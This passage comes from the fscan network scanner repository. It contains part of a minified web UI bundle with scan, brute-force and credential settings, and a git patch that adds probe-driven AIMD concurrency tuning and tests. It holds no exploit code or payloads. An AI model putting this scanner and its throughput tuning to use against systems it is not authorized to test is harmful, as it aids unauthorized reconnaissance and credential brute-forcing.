shrink-0"})]},w))}):x.length===0?E.jsx(Vh,{icon:OM,title:e("resultsEmpty"),description:e("resultsEmptyDescription"),className:"py-16"}):E.jsx("div",{className:"space-y-2",children:x.map(S=>{const w=m(S.type),O=S.type?.toLowerCase();return E.jsxs("div",{className:"group flex items-start gap-3 p-3 rounded-lg border bg-background hover:border-foreground/20 hover:bg-muted/30 transition-all",children:[E.jsx("div",{className:"shrink-0 w-8 h-8 sm:w-10 sm:h-10 rounded-lg flex items-center justify-center bg-muted group-hover:scale-105 transition-transform",children:E.jsx(w,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"})}),E.jsxs("div",{className:"flex-1 min-w-0",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx(ga,{variant:O,children:y(S.type)}),E.jsx("span",{className:"font-mono text-sm font-medium truncate",children:S.target})]}),S.status&&E.jsx("p",{className:"mt-1 text-sm text-muted-foreground truncate",children:S.status})]}),E.jsxs(ga,{variant:"outline",className:"shrink-0 gap-1 font-mono text-xs",children:[E.jsx(wM,{className:"w-3 h-3"}),new Date(S.time).toLocaleTimeString()]})]},S.id)})})})})]})})]})]}),E.jsx("div",{className:"lg:col-span-3",children:E.jsx("div",{className:"lg:sticky lg:top-20",children:E.jsx(hue,{results:n})})})]})})}const vue={en:{translation:{appTitle:"Fscan Web UI",appDescription:"Network Security Scanner",navScan:"Scan",navResults:"Results",navSettings:"Settings",scanTitle:"New Scan",scanTarget:"Target",scanTargetPlaceholder:"IP, IP range, domain (e.g., 192.168.1.0/24)",scanPorts:"Ports",scanPortsPlaceholder:"Port range (e.g., 1-1000,3306,8080)",scanPreset:"Preset",scanPresetSelect:"Select preset...",scanMode:"Scan Mode",scanModeAll:"All",scanModeIcmp:"ICMP Only",scanThreads:"Threads",scanTimeout:"Timeout (s)",scanAdvanced:"Advanced Options",scanDisablePing:"Disable Ping",scanDisableBrute:"Disable Brute Force",scanAliveOnly:"Alive Only",scanUsername:"Username",scanPassword:"Password",scanDomain:"Domain",scanExcludeHosts:"Exclude Hosts",scanExcludePorts:"Exclude Ports",scanStartBtn:"Start Scan",scanStopBtn:"Stop Scan",scanRunning:"Scan Running...",statusIdle:"Idle",statusRunning:"Running",statusStopping:"Stopping",statsHosts:"Hosts",statsPorts:"Ports",statsServices:"Services",statsVulns:"Vulnerabilities",resultsTitle:"Scan Results",resultsDistribution:"Results Distribution",chartEmptyTitle:"No data available",chartEmptyDescription:"Statistics will be displayed here after scanning",resultsExport:"Export",resultsClear:"Clear",resultsEmpty:"No results yet",resultsEmptyDescription:"Results will appear here after scanning",resultsFilterAll:"All",resultsFilterHosts:"Hosts",resultsFilterPorts:"Ports",resultsFilterServices:"Services",resultsFilterVulns:"Vulnerabilities",liveFeed:"Live Feed",liveFeedConnected:"Connected",liveFeedDisconnected:"Disconnected",liveFeedEmptyDescription:"Start a scan to see real-time results",settingsTitle:"Settings",settingsLanguage:"Language",settingsTheme:"Theme",settingsThemeLight:"Light",settingsThemeDark:"Dark",settingsThemeSystem:"System",loading:"Loading...",error:"Error",success:"Success",cancel:"Cancel",confirm:"Confirm",close:"Close",items:"items",refresh:"Refresh",clearAll:"Clear all",export:"Export",exportJson:"Export JSON",exportCsv:"Export CSV",targetRequired:"Target is required",startScanFailed:"Failed to start scan",stopScanFailed:"Failed to stop scan",clearConfirmTitle:"Clear Results",clearConfirm:"Are you sure you want to clear all results? This action cannot be undone.",lightMode:"Light mode",darkMode:"Dark mode",typeHost:"host",typePort:"port",typeService:"service",typeVuln:"vuln"}},zh:{translation:{appTitle:"Fscan Web UI",appDescription:"网络安全扫描器",navScan:"扫描",navResults:"结果",navSettings:"设置",scanTitle:"新建扫描",scanTarget:"目标",scanTargetPlaceholder:"IP、IP段、域名 (如: 192.168.1.0/24)",scanPorts:"端口",scanPortsPlaceholder:"端口范围 (如: 1-1000,3306,8080)",scanPreset:"预设",scanPresetSelect:"选择预设...",scanMode:"扫描模式",scanModeAll:"全部",scanModeIcmp:"仅ICMP",scanThreads:"线程数",scanTimeout:"超时(秒)",scanAdvanced:"高级选项",scanDisablePing:"禁用Ping",scanDisableBrute:"禁用爆破",scanAliveOnly:"仅存活检测",scanUsername:"用户名",scanPassword:"密码",scanDomain:"域名",scanExcludeHosts:"排除主机",scanExcludePorts:"排除端口",scanStartBtn:"开始扫描",scanStopBtn:"停止扫描",scanRunning:"扫描进行中...",statusIdle:"空闲",statusRunning:"运行中",statusStopping:"停止中",statsHosts:"主机",statsPorts:"端口",statsServices:"服务",statsVulns:"漏洞",resultsTitle:"扫描结果",resultsDistribution:"结果分布",chartEmptyTitle:"暂无数据",chartEmptyDescription:"扫描后将在此显示统计图表",resultsExport:"导出",resultsClear:"清空",resultsEmpty:"暂无结果",resultsEmptyDescription:"扫描结果将在此显示",resultsFilterAll:"全部",resultsFilterHosts:"主机",resultsFilterPorts:"端口",resultsFilterServices:"服务",resultsFilterVulns:"漏洞",liveFeed:"实时动态",liveFeedConnected:"已连接",liveFeedDisconnected:"已断开",liveFeedEmptyDescription:"开始扫描后将在此显示实时结果",settingsTitle:"设置",settingsLanguage:"语言",settingsTheme:"主题",settingsThemeLight:"浅色",settingsThemeDark:"深色",settingsThemeSystem:"跟随系统",loading:"加载中...",error:"错误",success:"成功",cancel:"取消",confirm:"确认",close:"关闭",items:"条",refresh:"刷新",clearAll:"清空全部",export:"导出",exportJson:"导出 JSON",exportCsv:"导出 CSV",targetRequired:"请输入扫描目标",startScanFailed:"启动扫描失败",stopScanFailed:"停止扫描失败",clearConfirmTitle:"清空结果",clearConfirm:"确定要清空所有结果吗?此操作不可撤销。",lightMode:"浅色模式",darkMode:"深色模式",typeHost:"主机",typePort:"端口",typeService:"服务",typeVuln:"漏洞"}}};hn.use(d6).init({resources:vue,lng:"zh",fallbackLng:"zh",interpolation:{escapeValue:!1}});function gue(){const{t:e,i18n:t}=xo(),[n,r]=v.useState("scan"),[i,l]=v.useState(()=>{if(typeof window<"u"){const c=localStorage.getItem("theme");return c?c==="dark":window.matchMedia("(prefers-color-scheme: dark)").matches}return!1});return v.useEffect(()=>{document.documentElement.classList.toggle("dark",i),localStorage.setItem("theme",i?"dark":"light")},[i]),E.jsx(vq,{children:E.jsxs("div",{className:"min-h-screen bg-background flex flex-col",children:[E.jsx("header",{className:"sticky top-0 z-50 border-b bg-background/95 backdrop-blur-sm",children:E.jsxs("div",{className:"container h-14 sm:h-16 flex items-center justify-between",children:[E.jsxs("div",{className:"flex items-center gap-4 sm:gap-6",children:[E.jsxs("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",className:"flex items-center gap-2 text-foreground hover:opacity-80 transition-opacity",children:[E.jsx("div",{className:"w-7 h-7 sm:w-8 sm:h-8 rounded-lg bg-foreground flex items-center justify-center",children:E.jsx(UA,{className:"w-4 h-4 sm:w-5 sm:h-5 text-background"})}),E.jsx("span",{className:"font-semibold text-base sm:text-lg tracking-tight",children:"fscan"}),E.jsx("span",{className:"text-xs text-muted-foreground font-mono px-1.5 py-0.5 rounded bg-muted hidden sm:inline",children:"v2.1"})]}),E.jsx("div",{className:"h-5 w-px bg-border hidden sm:block"}),E.jsxs("nav",{className:"flex items-center gap-1",children:[E.jsxs(or,{variant:n==="scan"?"default":"ghost",size:"sm",onClick:()=>r("scan"),className:"gap-2",children:[E.jsx(vB,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("navScan")})]}),E.jsxs(or,{variant:n==="results"?"default":"ghost",size:"sm",onClick:()=>r("results"),className:"gap-2",children:[E.jsx(s0,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("navResults")})]})]})]}),E.jsxs("div",{className:"flex items-center gap-1",children:[E.jsx(or,{variant:"ghost",size:"icon",asChild:!0,children:E.jsx("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",title:"GitHub",children:E.jsx(eB,{className:"w-5 h-5"})})}),E.jsx("div",{className:"h-5 w-px bg-border mx-1"}),E.jsx(or,{variant:"ghost",size:"icon",onClick:()=>t.changeLanguage(t.language==="zh"?"en":"zh"),title:t.language==="zh"?"English":"中文",children:E.jsx(iB,{className:"w-5 h-5"})}),E.jsx(or,{variant:"ghost",size:"icon",onClick:()=>l(!i),title:e(i?"lightMode":"darkMode"),children:i?E.jsx(_B,{className:"w-5 h-5"}):E.jsx(fB,{className:"w-5 h-5"})})]})]})}),E.jsx("main",{className:"container flex-1 py-3 sm:py-4 lg:py-5",children:n==="scan"?E.jsx(zle,{}):E.jsx(mue,{})}),E.jsx("footer",{className:"border-t py-3 sm:py-4",children:E.jsxs("div",{className:"container flex items-center justify-center gap-2 text-xs sm:text-sm text-muted-foreground",children:[E.jsx(UA,{className:"w-4 h-4"}),E.jsx("span",{children:e("appDescription")}),E.jsx("span",{className:"opacity-40",children:"·"}),E.jsxs("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center gap-1 hover:text-foreground transition-colors",children:["GitHub",E.jsx(K6,{className:"w-3.5 h-3.5"})]})]})})]})})}k$.createRoot(document.getElementById("root")).render(E.jsx(v.StrictMode,{children:E.jsx(gue,{})})); diff --git a/web/dist/index.html b/web/dist/index.html index 872884b..bb93a8c 100644 --- a/web/dist/index.html +++ b/web/dist/index.html @@ -5,7 +5,7 @@ web-ui - + From 88c7e4f2beb1addbf06af43d68de80d9164a808b Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 12 Jun 2026 09:46:02 +0800 Subject: [PATCH 05/29] =?UTF-8?q?feat:=20=E8=87=AA=E9=80=82=E5=BA=94?= =?UTF-8?q?=E5=B9=B6=E5=8F=91=E8=B0=83=E5=BA=A6=20=E2=80=94=20=E7=BD=91?= =?UTF-8?q?=E7=BB=9C=E6=8E=A2=E6=B5=8B=20+=20AIMD=20+=20=E5=8F=82=E6=95=B0?= =?UTF-8?q?=E6=99=BA=E8=83=BD=E6=8E=A8=E5=AF=BC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据 推导 6 个关键参数,替代硬编码默认值: - Timeout: median_RTT + 4σ(覆盖 99.9% 正常连接) - ModuleThreadNum: target_concurrency / 30 - MaxRetries: ceil(log(0.01)/log(loss_rate))(全失败概率 <1%) - ICMPRate: 环境基准 × fd 系数 - PocNum: 跟随 ModuleThreadNum - DisablePing: 已有 ICMP 权限降级机制 线程池从单信号(资源耗尽率)升级为 AIMD + 慢启动: - 慢启动:target/4 起步,500ms 翻倍 - 稳态 AIMD:健康 +5%,拥塞 ×0.5 - 双信号:资源耗尽率 + RTT 趋势(双 EMA) 用户 -t 显式指定时作为 ceiling,探测仍调整其他参数。 测试:单元 + 边界 + 集成 + 真实网络,core 包 580+ 用例全通过。 --- common/config_struct.go | 13 +- common/flag.go | 7 + common/flag_config.go | 14 +- common/i18n/locales/en.yaml | 20 ++ common/i18n/locales/zh.yaml | 20 ++ core/adaptive_pool.go | 276 ++++++++++----- core/adaptive_pool_test.go | 203 ++++------- core/edge_cases_test.go | 639 ++++++++++++++++++++++++++++++++++ core/env_profiler.go | 221 ++++++++++++ core/env_profiler_test.go | 334 ++++++++++++++++++ core/fd_limit_unix.go | 13 + core/fd_limit_windows.go | 8 + core/integration_test.go | 545 +++++++++++++++++++++++++++++ core/network_profiler.go | 277 +++++++++++++++ core/network_profiler_test.go | 169 +++++++++ core/port_scan.go | 30 +- core/real_network_test.go | 487 ++++++++++++++++++++++++++ core/scan_metrics.go | 115 ++++++ core/scan_metrics_test.go | 130 +++++++ core/service_scanner.go | 12 + web/api/scan.go | 5 + 21 files changed, 3287 insertions(+), 251 deletions(-) create mode 100644 core/edge_cases_test.go create mode 100644 core/env_profiler.go create mode 100644 core/env_profiler_test.go create mode 100644 core/fd_limit_unix.go create mode 100644 core/fd_limit_windows.go create mode 100644 core/integration_test.go create mode 100644 core/network_profiler.go create mode 100644 core/network_profiler_test.go create mode 100644 core/real_network_test.go create mode 100644 core/scan_metrics.go create mode 100644 core/scan_metrics_test.go diff --git a/common/config_struct.go b/common/config_struct.go index 9be2534..3a6e9ed 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -22,12 +22,13 @@ config_struct.go - 配置结构体定义 // Config 扫描器完整配置 - 初始化后只读,可安全共享 type Config struct { // 高频访问字段 - 平铺到顶层 - Timeout time.Duration // 通用超时 - ThreadNum int // 主线程数 - ModuleThreadNum int // 模块线程数 - DisableBrute bool // 禁用暴力破解 - DisablePing bool // 禁用Ping检测 - DisableTcpProbe bool // 禁用TCP补充探测 + Timeout time.Duration // 通用超时 + ThreadNum int // 主线程数 + ThreadNumExplicit bool // 用户显式指定了 -t + ModuleThreadNum int // 模块线程数 + DisableBrute bool // 禁用暴力破解 + DisablePing bool // 禁用Ping检测 + DisableTcpProbe bool // 禁用TCP补充探测 // 扫描模式 Mode string // 扫描模式 diff --git a/common/flag.go b/common/flag.go index 2844ba9..7a7c82a 100644 --- a/common/flag.go +++ b/common/flag.go @@ -213,6 +213,13 @@ func Flag(Info *HostInfo) error { return err } + // 检测用户是否显式指定了 -t + flag.Visit(func(f *flag.Flag) { + if f.Name == "t" { + fv.ThreadNumExplicit = true + } + }) + // 设置语言 i18n.SetLanguage(fv.Language) diff --git a/common/flag_config.go b/common/flag_config.go index cca579b..b147227 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -30,9 +30,10 @@ type FlagVars struct { PortsFile string // 扫描控制 - ScanMode string - ThreadNum int - ModuleThreadNum int + ScanMode string + ThreadNum int + ThreadNumExplicit bool // 用户显式指定了 -t + ModuleThreadNum int TimeoutSec int64 // 秒,需转换为 time.Duration GlobalTimeout int64 DisablePing bool @@ -134,9 +135,10 @@ func GetFlagVars() *FlagVars { func BuildConfigFromFlags(fv *FlagVars) *Config { return &Config{ // 高频字段 - Timeout: time.Duration(fv.TimeoutSec) * time.Second, - ThreadNum: fv.ThreadNum, - ModuleThreadNum: fv.ModuleThreadNum, + Timeout: time.Duration(fv.TimeoutSec) * time.Second, + ThreadNum: fv.ThreadNum, + ThreadNumExplicit: fv.ThreadNumExplicit, + ModuleThreadNum: fv.ModuleThreadNum, DisableBrute: fv.DisableBrute, DisablePing: fv.DisablePing, DisableTcpProbe: fv.DisableTcpProbe, diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index 3b480f4..e9a4007 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -541,6 +541,26 @@ icmp_debug_stable_done: other: "[ICMP] response stable, ending early, elapsed {{.Arg1}}, alive {{.Arg2}}/{{.Arg3}}" adaptive_pool_resource_exhausted: other: "[AdaptivePool] resource exhaustion rate {{.Arg1}}%, threads {{.Arg2}} -> {{.Arg3}}" +adaptive_pool_decrease: + other: "Concurrency adjusted: {{.Arg1}} -> {{.Arg2}} (pressure detected)" +adaptive_pool_increase: + other: "Concurrency adjusted: {{.Arg1}} -> {{.Arg2}} (network healthy)" +adaptive_pool_slowstart_exit: + other: "Slow start exit: current {{.Arg1}} (congestion detected)" +net_probe_result: + other: "Network probe: {{.Arg1}}, RTT {{.Arg2}}ms, loss {{.Arg3}}%, concurrency {{.Arg4}}/{{.Arg5}}" +net_env_lan: + other: "LAN" +net_env_wan: + other: "WAN" +net_env_internet: + other: "Internet" +net_env_slow: + other: "Slow network" +env_tune_summary: + other: "Adaptive params: Timeout={{.Arg1}}ms, ModuleThread={{.Arg2}}, Retry={{.Arg3}}, ICMPRate={{.Arg4}}, PocNum={{.Arg5}}" +env_fd_limit: + other: "fd limit constraint: threads {{.Arg1}} -> {{.Arg2}} (ulimit={{.Arg3}})" # ========================= Service Plugin Messages ========================= # Format: {service}_{type} - type: credential/unauth/service/vuln diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 0659d02..4fd75a2 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -541,6 +541,26 @@ icmp_debug_stable_done: other: "[ICMP] 响应稳定,提前结束,耗时 {{.Arg1}},存活 {{.Arg2}}/{{.Arg3}}" adaptive_pool_resource_exhausted: other: "[AdaptivePool] 资源耗尽率 {{.Arg1}}%, 线程数 {{.Arg2}} -> {{.Arg3}}" +adaptive_pool_decrease: + other: "并发调整: {{.Arg1}} -> {{.Arg2}} (检测到压力)" +adaptive_pool_increase: + other: "并发调整: {{.Arg1}} -> {{.Arg2}} (网络健康)" +adaptive_pool_slowstart_exit: + other: "慢启动退出: 当前 {{.Arg1}} (检测到拥塞)" +net_probe_result: + other: "网络探测: {{.Arg1}}, RTT {{.Arg2}}ms, 丢包 {{.Arg3}}%, 并发 {{.Arg4}}/{{.Arg5}}" +net_env_lan: + other: "内网" +net_env_wan: + other: "局域网" +net_env_internet: + other: "公网" +net_env_slow: + other: "慢速网络" +env_tune_summary: + other: "参数自适应: Timeout={{.Arg1}}ms, ModuleThread={{.Arg2}}, Retry={{.Arg3}}, ICMPRate={{.Arg4}}, PocNum={{.Arg5}}" +env_fd_limit: + other: "fd limit 约束: 线程数 {{.Arg1}} -> {{.Arg2}} (ulimit={{.Arg3}})" # ========================= 服务插件通用消息 ========================= # 格式: {service}_{type} - type: credential/unauth/service/vuln diff --git a/core/adaptive_pool.go b/core/adaptive_pool.go index d07041e..a4a7933 100644 --- a/core/adaptive_pool.go +++ b/core/adaptive_pool.go @@ -1,7 +1,6 @@ package core import ( - "fmt" "sync" "sync/atomic" "time" @@ -11,139 +10,244 @@ import ( "github.com/shadow1ng/fscan/common/i18n" ) -// AdaptivePool 自适应线程池 -// 封装 ants.PoolWithFunc,支持根据资源耗尽率动态调整线程数 +// HealthSignal 健康评估结果 +type HealthSignal int + +const ( + HealthUnknown HealthSignal = iota // 样本不足,无法判断 + HealthGood // 一切正常,可以提速 + HealthOK // 正常,维持现状 + HealthStressed // 有压力信号,轻微降速 + HealthCongested // 明确拥塞,大幅降速 +) + +// AdaptivePool 自适应线程池(AIMD + 慢启动) +// +// 三阶段工作模式: +// 1. 慢启动:从 target/4 起步,每个检查周期翻倍,直到达到 target 或检测到拥塞 +// 2. 稳态 AIMD:健康时加性增(+5% target),拥塞时乘性减(×0.5) +// 3. 恢复上限受 ceiling 约束,不会无限增长 +// +// 健康评估基于两个信号: +// - 资源耗尽率(fd/端口不足) +// - RTT 趋势(fast EMA / slow EMA) type AdaptivePool struct { - pool *ants.PoolWithFunc - state *common.State + pool *ants.PoolWithFunc + metrics *ScanMetrics - initialSize int - minSize int - maxSize int - currentSize int32 // 原子操作 + // 并发控制 + target int32 // 探测推荐的目标值 + ceiling int32 // 绝对上限(用户指定或探测推荐) + currentSize int32 - // 监控参数 - checkInterval time.Duration - lastCheckNano atomic.Int64 // UnixNano - lastExhaustedCount int64 - lastPacketCount int64 + // 慢启动 + inSlowStart bool + ssThreshold int32 // 慢启动阈值(拥塞后降为当前值) - // 阈值 - exhaustedThreshold float64 // 资源耗尽率阈值(触发降级) - recoveryThreshold float64 // 恢复阈值(允许升级) + // 检查定时 + checkInterval time.Duration + lastCheck atomic.Int64 // UnixNano - mu sync.Mutex + // 增量计算 + mu sync.Mutex + prevSnapshot MetricsSnapshot } // NewAdaptivePool 创建自适应线程池 -func NewAdaptivePool(size int, fn func(interface{}), state *common.State) (*AdaptivePool, error) { - // 移除 WithPreAlloc(true),在大规模扫描时预分配可能导致内存问题 - pool, err := ants.NewPoolWithFunc(size, fn) +// target: 目标并发数(来自 NetworkProfile.RecommendConcurrency) +// ceiling: 最大并发上限 +// metrics: 共享的扫描度量(scanSinglePort 写入,pool 读取) +func NewAdaptivePool(target, ceiling int, fn func(interface{}), metrics *ScanMetrics) (*AdaptivePool, error) { + // 慢启动初始值:target 的 25%,但不低于 10 + initial := target / 4 + if initial < 10 { + initial = 10 + } + if initial > target { + initial = target + } + + pool, err := ants.NewPoolWithFunc(initial, fn) if err != nil { return nil, err } - minSize := size / 4 - if minSize < 10 { - minSize = 10 - } - return &AdaptivePool{ - pool: pool, - state: state, - initialSize: size, - minSize: minSize, - maxSize: size, - currentSize: int32(size), - checkInterval: time.Second, - exhaustedThreshold: 0.10, // 10% 资源耗尽率触发降级 - recoveryThreshold: 0.02, // 2% 以下允许恢复 + pool: pool, + metrics: metrics, + target: int32(target), + ceiling: int32(ceiling), + currentSize: int32(initial), + inSlowStart: true, + ssThreshold: int32(target), + checkInterval: 500 * time.Millisecond, }, nil } -// Invoke 提交任务,并在适当时机检查是否需要调整线程数 +// Invoke 提交任务 func (ap *AdaptivePool) Invoke(task interface{}) error { ap.maybeAdjust() return ap.pool.Invoke(task) } -// maybeAdjust 检查并可能调整线程池大小 -// 使用原子 CAS 进行时间检查,99%+ 的调用零锁开销 +// maybeAdjust 周期性检查并调整并发数 func (ap *AdaptivePool) maybeAdjust() { - lastCheck := ap.lastCheckNano.Load() + last := ap.lastCheck.Load() now := time.Now().UnixNano() - if now-lastCheck < int64(ap.checkInterval) { + if now-last < int64(ap.checkInterval) { return } - if !ap.lastCheckNano.CompareAndSwap(lastCheck, now) { - return // 其他 goroutine 已在检查 - } - - // 获取当前计数 - currentExhausted := ap.state.GetResourceExhaustedCount() - currentPackets := ap.state.GetPacketCount() - - ap.mu.Lock() - // 计算增量(本周期内的耗尽率) - deltaExhausted := currentExhausted - ap.lastExhaustedCount - deltaPackets := currentPackets - ap.lastPacketCount - - ap.lastExhaustedCount = currentExhausted - ap.lastPacketCount = currentPackets - ap.mu.Unlock() - - // 需要足够的样本才能判断 - if deltaPackets < 100 { + if !ap.lastCheck.CompareAndSwap(last, now) { return } - rate := float64(deltaExhausted) / float64(deltaPackets) - currentSize := int(atomic.LoadInt32(&ap.currentSize)) + ap.adjust() +} - if rate > ap.exhaustedThreshold && currentSize > ap.minSize { - // 降级:减少 20% 线程 - newSize := int(float64(currentSize) * 0.8) - if newSize < ap.minSize { - newSize = ap.minSize - } +func (ap *AdaptivePool) adjust() { + health := ap.assessHealth() + if health == HealthUnknown { + return + } + + current := int(atomic.LoadInt32(&ap.currentSize)) + target := int(atomic.LoadInt32(&ap.target)) + ceiling := int(atomic.LoadInt32(&ap.ceiling)) + + var newSize int + + if ap.inSlowStart { + newSize = ap.adjustSlowStart(health, current, target) + } else { + newSize = ap.adjustAIMD(health, current, target) + } + + // 下限:ceiling 的 5%,但不低于 10 + minSize := ceiling / 20 + if minSize < 10 { + minSize = 10 + } + + if newSize < minSize { + newSize = minSize + } + if newSize > ceiling { + newSize = ceiling + } + + if newSize != current { ap.tune(newSize) - common.LogInfo(i18n.Tr("adaptive_pool_resource_exhausted", fmt.Sprintf("%.1f", rate*100), currentSize, newSize)) - } else if rate < ap.recoveryThreshold && currentSize < ap.maxSize { - // 恢复:增加 10% 线程(保守恢复) - newSize := int(float64(currentSize) * 1.1) - if newSize > ap.maxSize { - newSize = ap.maxSize + + // 显著变化时记录日志 + delta := newSize - current + if delta < 0 { + delta = -delta } - if newSize > currentSize { - ap.tune(newSize) + if delta > current/5 { + if newSize < current { + common.LogInfo(i18n.Tr("adaptive_pool_decrease", current, newSize)) + } else { + common.LogDebug(i18n.Tr("adaptive_pool_increase", current, newSize)) + } } } } -// tune 调整线程池大小 +func (ap *AdaptivePool) adjustSlowStart(health HealthSignal, current, target int) int { + switch health { + case HealthCongested, HealthStressed: + // 退出慢启动,设置阈值 + ap.ssThreshold = int32(current) + ap.inSlowStart = false + common.LogDebug(i18n.Tr("adaptive_pool_slowstart_exit", current)) + return int(float64(current) * 0.5) + default: + // 翻倍 + newSize := current * 2 + if newSize >= target { + newSize = target + ap.inSlowStart = false + } + return newSize + } +} + +func (ap *AdaptivePool) adjustAIMD(health HealthSignal, current, target int) int { + switch health { + case HealthCongested: + // 乘性减:×0.5 + newSize := int(float64(current) * 0.5) + ap.ssThreshold = int32(newSize) + return newSize + case HealthStressed: + // 温和降低:×0.85 + return int(float64(current) * 0.85) + case HealthGood: + // 加性增:+5% of target,至少 +1 + inc := target / 20 + if inc < 1 { + inc = 1 + } + return current + inc + default: + return current + } +} + +// assessHealth 综合健康评估 +func (ap *AdaptivePool) assessHealth() HealthSignal { + snap := ap.metrics.Snapshot() + + ap.mu.Lock() + prev := ap.prevSnapshot + ap.prevSnapshot = snap + ap.mu.Unlock() + + // 计算本周期增量 + deltaTotal := snap.Total() - prev.Total() + deltaExhausted := snap.Exhausted - prev.Exhausted + + // 样本不足 + if deltaTotal < 30 { + return HealthUnknown + } + + exhaustRate := float64(deltaExhausted) / float64(deltaTotal) + rttRatio := ap.metrics.RTTRatio() + + // 多信号综合判断 + switch { + case exhaustRate > 0.15: + return HealthCongested + case rttRatio > 2.5: + return HealthCongested + case exhaustRate > 0.05: + return HealthStressed + case rttRatio > 1.8: + return HealthStressed + case exhaustRate < 0.01 && rttRatio < 1.3: + return HealthGood + default: + return HealthOK + } +} + func (ap *AdaptivePool) tune(newSize int) { ap.pool.Tune(newSize) atomic.StoreInt32(&ap.currentSize, int32(newSize)) } // Running 返回当前运行中的 goroutine 数量 -func (ap *AdaptivePool) Running() int { - return ap.pool.Running() -} +func (ap *AdaptivePool) Running() int { return ap.pool.Running() } // Cap 返回当前池容量 -func (ap *AdaptivePool) Cap() int { - return int(atomic.LoadInt32(&ap.currentSize)) -} +func (ap *AdaptivePool) Cap() int { return int(atomic.LoadInt32(&ap.currentSize)) } // Release 释放线程池 -func (ap *AdaptivePool) Release() { - ap.pool.Release() -} +func (ap *AdaptivePool) Release() { ap.pool.Release() } // Wait 等待所有任务完成 func (ap *AdaptivePool) Wait() { - // ants 没有原生 Wait,通过 Running() == 0 轮询 for ap.pool.Running() > 0 { time.Sleep(10 * time.Millisecond) } diff --git a/core/adaptive_pool_test.go b/core/adaptive_pool_test.go index 392d362..5873399 100644 --- a/core/adaptive_pool_test.go +++ b/core/adaptive_pool_test.go @@ -1,160 +1,101 @@ package core -/* -adaptive_pool_test.go - AdaptivePool 高价值测试 - -测试重点: -1. 并发安全 - 多goroutine同时调整不崩溃 -2. 降级逻辑 - 资源耗尽率高时正确减少线程 -3. 恢复逻辑 - 资源耗尽率低时正确增加线程 -4. 边界条件 - 不超过minSize/maxSize - -不测试: -- 简单的getter方法(太简单,不值得) -- ants库本身的正确性(库作者负责) -*/ - import ( "testing" "time" - - "github.com/shadow1ng/fscan/common" ) -// ============================================================================= -// 场景1:降级逻辑测试(高价值) -// ============================================================================= - -// TestAdaptivePool_DowngradeOnHighExhaustion 验证资源耗尽率高时降低线程数 -// 这是个核心业务逻辑:耗尽率 > 10% 时应该减少线程 -func TestAdaptivePool_DowngradeOnHighExhaustion(t *testing.T) { - state := common.NewState() - - pool, err := NewAdaptivePool(100, func(interface{}) {}, state) +// newTestPool 测试辅助:创建测试用的自适应线程池 +func newTestPool(t *testing.T, size int, fn func(interface{})) (*AdaptivePool, *ScanMetrics) { + t.Helper() + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(size, size, fn, metrics) if err != nil { t.Fatalf("创建线程池失败: %v", err) } + return pool, metrics +} + +// TestAdaptivePool_DowngradeOnHighExhaustion 验证资源耗尽率高时降低线程数 +func TestAdaptivePool_DowngradeOnHighExhaustion(t *testing.T) { + pool, metrics := newTestPool(t, 100, func(interface{}) {}) defer pool.Release() + // 慢启动先跑到 target + pool.inSlowStart = false + pool.tune(100) + initialCap := pool.Cap() - // 模拟高资源耗尽率:20% 的包都失败了 - // 需要至少100个样本才会触发调整 + // 模拟高资源耗尽率:20% for i := 0; i < 200; i++ { - state.IncrementPacketCount() - if i < 40 { // 前40个失败(20%) - state.IncrementResourceExhaustedCount() + if i < 40 { + metrics.RecordExhausted() + } else { + metrics.RecordConnect(time.Millisecond) } } - // 触发调整:提交足够多的任务让maybeAdjust被调用 + // 触发调整 for i := 0; i < 20; i++ { _ = pool.Invoke(nil) - time.Sleep(time.Millisecond * 10) // 等待异步调整 + time.Sleep(time.Millisecond * 30) } - // 等待调整完成 - time.Sleep(time.Millisecond * 50) - finalCap := pool.Cap() - // 验证:线程数应该减少 if finalCap >= initialCap { t.Errorf("应该降级: 初始 %d, 最终 %d", initialCap, finalCap) } - // 验证:不应该降到minSize以下 - minSize := initialCap / 4 - if minSize < 10 { - minSize = 10 - } - if finalCap < minSize { - t.Errorf("降到minSize以下: %d < %d", finalCap, minSize) + if finalCap < 10 { + t.Errorf("降到 minSize 以下: %d", finalCap) } - t.Logf("降级成功: %d -> %d (min=%d)", initialCap, finalCap, minSize) + t.Logf("降级成功: %d -> %d", initialCap, finalCap) } -// ============================================================================= -// 场景3:恢复逻辑测试(高价值) -// ============================================================================= - -// TestAdaptivePool_NoRecoveryOnLowExhaustion 验证低耗尽率时不升级 -// 防止线程数盲目增长 -func TestAdaptivePool_NoRecoveryOnLowExhaustion(t *testing.T) { - state := common.NewState() - - pool, err := NewAdaptivePool(50, func(interface{}) {}, state) +// TestAdaptivePool_SlowStart 验证慢启动行为 +func TestAdaptivePool_SlowStart(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(100, 100, func(interface{}) {}, metrics) if err != nil { t.Fatalf("创建线程池失败: %v", err) } defer pool.Release() - // 先降到minSize - for i := 0; i < 500; i++ { - state.IncrementPacketCount() - state.IncrementResourceExhaustedCount() // 100% 耗尽 + // 初始应该是 target/4 = 25 + initialCap := pool.Cap() + if initialCap > 30 { + t.Errorf("慢启动初始值应该 <= 30, got %d", initialCap) } - for i := 0; i < 20; i++ { - _ = pool.Invoke(nil) - } - time.Sleep(time.Millisecond * 50) - - reducedCap := pool.Cap() - - // 现在模拟低耗尽率:只有1%失败 - for i := 0; i < 500; i++ { 